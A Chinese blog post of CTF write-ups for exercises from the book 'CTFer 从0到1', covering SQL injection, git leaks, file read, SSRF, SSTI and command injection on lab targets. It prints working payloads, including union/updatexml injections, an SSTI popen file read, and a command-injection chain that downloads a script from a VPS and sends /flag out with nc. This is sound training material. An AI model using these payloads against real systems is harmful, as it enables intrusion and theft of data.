CTFer 从0到1配套题目刷题题解

[第一章 web入门]常见的搜集

  • robots.txt
  • index.php~
  • .index.php.swp
1
flag1:n1book{info_1

flag2:s_v3ry_im

1
<?php echo 'flag3:p0rtant_hack}';?>

flag:

n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]粗心的小李

  • git 泄露
1
python GitHack.py http://d636ae84-4f9d-4659-abf7-4922917cecb7.node3.buuoj.cn/.git/

n1book{git_looks_s0_easyfun}

[第一章 web入门]SQL注入-1

注意:注入的时候,url中输入 %23# 是有区别的。

sb 解法:

1
python3 sqlmap.py -u http://24fa16a1-00e7-47c3-bb66-157021761eab.node3.buuoj.cn/index.php\?id\=1 -D note -T fl4g -C fllllag --dump

手工注入:

判断注入

image-20201206113036212

image-20201206113057122

order by 判定字段数:

image-20201206113133681

image-20201206113154835

确定回显位

image-20201206113236221

在2、3的地方可以注入

数据库为 note

image-20201206113306728

查表名:

1
index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note'%23

fl4g,notes
查列名:为:fllllag

1
/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23

查flag的内容:

1
index.php?id=-1' union select 1, group_concat(fllllag),3 from fl4g %23

image-20201206113934103

[第一章 web入门]afr_1

伪协议读文件。直接读p=flag是不行的,所以用伪协议封装一下就好了。

image-20201206114753925

[第一章 web入门]afr_2

Nginx错误配置可能产生目录穿越漏洞,比如:

1
2
3
location /static {
alias /home/myapp/static/;
}

由于static后没有加/,如果用户请求/static../,拼接到alias进会变成/home/myapp/static/../会穿越到myapp目录

image-20201206123641071

[第一章 web入门]SQL注入-2

select 被过滤了,大小写绕过。

image-20201206125312562

查表名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login.php?tips=1 HTTP/1.1
Host: 344c0221-e058-46d9-8b84-e12fb1ca13b7.node3.buuoj.cn
Content-Length: 156
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://344c0221-e058-46d9-8b84-e12fb1ca13b7.node3.buuoj.cn
Referer: http://344c0221-e058-46d9-8b84-e12fb1ca13b7.node3.buuoj.cn/login.php?tips=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: UM_distinctid=175e67f63ec3dc-07bb01a5c02175-7c690e53-13c680-175e67f63edb2a; PHPSESSID=4pb5b72mqrn5m5n7ndk3edv9i6
Connection: close

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+

string(33) “XPATH syntax error: ‘~fl4g,users’”
{“error”:1,”msg”:”账号不存在”}

查列名:

1
2
3
4
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+

string(27) "XPATH syntax error: '~flag'"
{"error":1,"msg":"账号不存在"}

查字段:

image-20201206125621103

1
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(flag) from fl4g)),1)--+&pass=1' and 1=2 --+

[第一章 web入门]afr_3

  • /proc 文件系统知识。
1
2
3
4
5
6
7
8
9
10
11
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

cmdline:运行了 server.py

image-20201206130357952

image-20201206130331192

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')#execfile() 函数可以用来执行一个文件。
execfile('key.py')
FLAG = flag
app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])


def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])


def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])


def article(): error = 0


if 'name' in request.args:
page = request.args.get('name') else:
page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

image-20201206130801068

得到key为:Drmhze6EPcv0fN_81Bj-nA

构造 flask session, session 做了 ssti 过滤。

[第二章 web进阶]SSRF Training

payload:

1
http://127.0.0.1/flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php 
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}

$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}

?>

[第二章 web进阶]XSS闯关

  • 第一关

image-20201206172504404

简单闭合一下就行了。

image-20201206172606385

  • 第二关

image-20201206172648845

[第二章 web进阶]死亡ping命令

只是没回显而已。直接nc是不行的,估计是没有nc?

在公网VPS中保存 如下 sh 脚本:

1
ls|cat /flag | nc 公网ip地址 8089

利用靶机进行 curl 下载:

1
2
3
4
127.0.0.1%0acurl 公网ip地址/1.sh > /tmp/1.sh   #请求bash文件到tmp目录
127.0.0.1%0achmod 777 /tmp/1.sh #给bash加权限
nc -lvp 8089 #你的机器上进行监听8089端口
127.0.0.1%0ash /tmp/1.sh

[第二章 web进阶]文件上传

  • zip 压缩包的知识

[第三章 web进阶]SSTI

sb做法,tplmap –os-shell 梭了。

手工做法:

用 ssti payload,读文件,在 /app/server.py中有flag

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /app/server.py').read() }}

[第三章 web进阶]逻辑漏洞

  • 修改价格为负数,先赚钱,再去买flag

[第三章 web进阶]Python里的SSRF

https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html

image-20201207003632241

啊这,直接 127.0.0.1,没有用。尝试用8进制绕,不行,换成127.0.0.2就成功了。

image-20201207003614371

Author: m0nk3y
Link: https://hack-for.fun/d554.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.